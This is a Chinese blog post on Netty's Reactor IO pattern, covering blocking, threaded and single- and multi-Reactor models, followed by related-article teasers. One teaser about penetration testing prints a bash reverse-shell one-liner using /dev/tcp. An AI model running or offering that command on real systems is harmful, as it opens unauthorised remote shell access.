004——Netty之高性能IO(Reactor)
一、原始方式
方法一:
# 使用while循环,不断监听端口是否有新的套接字链接
while(true){
socket = accept();
handle(socket)
}
# 做法局限:处理效率低下,并发是请求只能阻塞方法二:
# 一个连接对应一个线程
while(true){
socket = accept();
new thread(socket);
}
# 每个线程阻塞不会影响到后续请求,但对资源要求非常高。线程粒度大,每个线程一次性处理所有交互事情(连接、读取和写入),限制了吞吐量。方法三:
# 将线程粒度减小。将一次连接的操作划分为更细的粒度或者过程。这样虽然线程数量变多,但是处理的事情更为简单和单一二、Reactor定义
关键点
- 事件驱动(event handling) 
- 可以处理一个或多个输入源(one or more inputs) 
- 通过Service Handler同步的将输入事件(Event)采用多路复用分发给对应Handler处理 
处理流程
- 同步的等待多个事件源到达(采用select()实现)
- 将事件多路分解以及分配相应的事件服务进行处理,这个分派采用server集中处理(dispatch)
- 分解的事件以及对应的事件服务应用从分派服务中分离出去(handler)
使用Reactor的原因
NIO的优点:
- 基于事件驱动(selector支持对多个Channel进行监听)
- 统一事件处理分派中心(dispatch)
- 事件处理服务
不足
- 更少的开销,更少的上下文切换以及locking
- 能够跟踪服务器状态
- 能够管理handler 对event的绑定
三、Reactor模式
介绍
Reactor将被拆分的子过程对应到Handler上,每一种handler会处理一种event。Selector全局管理进行全局管理。我们只需要注册感兴趣的channel事件,selector就会通过轮询的方式不断检测channel上的事件是否发生。如果没有事件发生则线程阻塞,如果时间发生,则调用相应handler进行处理。
非Reactor模型

- 这种模型由于IO在阻塞时会一直等待,因此在用户负载增加时,性能下降的非常快
- serversocket的accept方法,阻塞等待client连接,直到client连接成功
- 线程从socket inputstream读入数据,会进入阻塞状态,直到全部数据读完
- 线程向socket outputstream写入数据,会阻塞直到全部数据写完
Reactor模型
- Reactor 将I/O事件分派给对应的Handler
- Acceptor 处理客户端新连接,并分派请求到处理器链中
- Handlers 执行非阻塞读/写任务,Event绑定
单Reactor单线程模型
改进点:基于事件模式,当事件触发时,才调用处理器进行处理

- 当新连接到来触发connect事件之后,交由Acceptor进行处理,并构造Handler
- 有IO读写事件之后交给Hanlder处理。
- 在获取到Client相关的SocketChannel之后,绑定到相应Handler上。
- 若是连接事件获取是acceptor,若是IO读写事件获取是handler。都由Reactor进行分发
Acceptor主要任务就是构建handler ,在获取到和client相关的SocketChannel之后 ,绑定到相应的hanlder上,对应的SocketChannel有读写事件之后,基于racotor 分发,hanlder就可以处理了(所有的IO事件都绑定到selector上,有Reactor分发)。
单Reactor多线程模型
改进:使用多线程处理业务逻辑。

- 专门一个IO线程——Acceptor线程负责监听服务端请求。
- 消息读取、解码、编码、发送由线程池负责
- 一个链路只对应一个线程,可以避免同步操作。
- Reacpter只负责消息分发
多Reactor多线程模型

- mainReactor负责监听 ServerSocketChannel ,用来处理客户端新连接的建立,并将建立的客户端的SocketChannel指定注册给 subReactor 。
- subReactor 维护自己的 Selector ,基于 mainReactor 建立的客户端的 SocketChannel 多路分离 IO 读写事件,读写网络数据。对于业务处理的功能,另外扔给 worker 线程池来完成。
- 该模式为Netty默认模式
https://blog.csdn.net/qq_24313635/article/details/80989450
004——Netty之高性能IO(Reactor)的更多相关文章
- 高性能IO —— Reactor(反应器)模式
		讲到高性能IO绕不开Reactor模式,它是大多数IO相关组件如Netty.Redis在使用的IO模式, 为什么需要这种模式,它是如何设计来解决高性能并发的呢? 最最原始的网络编程思路就是服务器用一个 ... 
- 高性能IO之Reactor模式
		The reactor design pattern is an event handling pattern for handling service requests delivered conc ... 
- 高性能IO之Reactor模式(转载)
		讲到高性能IO绕不开Reactor模式,它是大多数IO相关组件如Netty.Redis在使用的IO模式,为什么需要这种模式,它是如何设计来解决高性能并发的呢? 最最原始的网络编程思路就是服务器用一个w ... 
- Netty高性能之Reactor线程模型
		Netty是一个高性能.异步事件驱动的NIO框架,它提供了对TCP.UDP和文件传输的支持,作为一个异步NIO框架,Netty的所有IO操作都是异步非阻塞的,通过Future-Listener机制,用 ... 
- 一篇文章,读懂 Netty 的高性能架构之道
		原文 Netty是一个高性能.异步事件驱动的NIO框架,它提供了对TCP.UDP和文件传输的支持,作为一个异步NIO框架,Netty的所有IO操作都是异步非阻塞的,通过Future-Listener机 ... 
- Java异步NIO框架Netty实现高性能高并发
		原文地址:http://blog.csdn.net/opengl_es/article/details/40979371?utm_source=tuicool&utm_medium=refer ... 
- Java与Netty实现高性能高并发
		摘要: 1. 背景 1.1. 惊人的性能数据 最近一个圈内朋友通过私信告诉我,通过使用Netty4 + Thrift压缩二进制编解码技术,他们实现了10W TPS(1K的复杂POJO对象)的跨节点远程 ... 
- 从线程模型的角度看Netty的高性能
		转载:Netty(二) 从线程模型的角度看 Netty 为什么是高性能的? 传统 IO 在 Netty 以及 NIO 出现之前,我们写 IO 应用其实用的都是用 java.io.* 下所提供的包. 比 ... 
- 一篇文章,读懂Netty的高性能架构之道
		一篇文章,读懂Netty的高性能架构之道 Netty是由JBOSS提供的一个java开源框架,是一个高性能.异步事件驱动的NIO框架,它提供了对TCP.UDP和文件传输的支持,作为一个异步NIO框架, ... 
随机推荐
- MYSQL千万级别数据量迁移Elasticsearch5.6.1实战
			从关系型库中迁移数据算是比较常见的场景,这里借助两个工具来完成本次的数据迁移,考虑到数据量并不大(不足两千万),未采用snapshot快照的形式进行. Elasticsearch-jdbc,Githu ... 
- css单位中px和em,rem的区别
			css单位中分为相对长度单位.绝对长度单位. 今天我们主要讲解rem.em.px这些常用单位的区别和用法. px(绝对长度单位) 相信对于前端来说px这个单位是大家并不陌生,px这个单位,兼容性可以说 ... 
- python数据库-MongoDB的基本使用(54)
			一.MongoDB 创建数据库 语法:MongoDB 创建数据库的语法格式如下: use DATABASE_NAME 如果数据库不存在,则创建数据库,否则切换到指定数据库. > use Hero ... 
- 使用Task实现非阻塞式的I/O操作
			在前面的<基于任务的异步编程模式(TAP)>文章中讲述了.net 4.5框架下的异步操作自我实现方式,实际上,在.net 4.5中部分类已实现了异步封装.如在.net 4.5中,Strea ... 
- 【题解】导游-C++
			Description 宁波市的中小学生们在镇海中学参加程序设计比赛之余,热情的主办方邀请同学们参观镇海中学内的各处景点,已 知镇海中学内共有n处景点.现在有n位该校的学生志愿承担导游和讲解任务.每个 ... 
- [记录]python的简单协程框架(回调+时间循环+select)
			# -*- coding: utf-8 -*- # @Time : 2018/12/15 18:55 # @File : coroutine.py #一个简单的 Coroutine 框架 import ... 
- linux几种方式来弹哥shell
			渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i :打 ... 
- SpringMvc最全的约束——你的感冒清个人总结
			SpringMvc最全的约束--你的感冒清个人总结 <?xml version="1.0" encoding="UTF-8"?> <beans ... 
- python+selenium实现163邮箱登陆—iframe动态ID定位 及常用定位方法
			今天发现之前的登录163邮箱脚本定位不到iframe了,原因是iframe拼接了动态ID,修改后的脚本如下: from selenium import webdriver driver = webdr ... 
- sqlserver 2008 无法使用特殊主体‘sa’,错误15405
			今天莫名其妙的遇到一个问题,还原了几个数据库到新的服务器上,突然发现sa用户对某几个数据库没有权限(用户映射): 我手工勾选相应数据库的db_owner权限之后,报错:无法使用特殊主体'sa',错误1 ... 
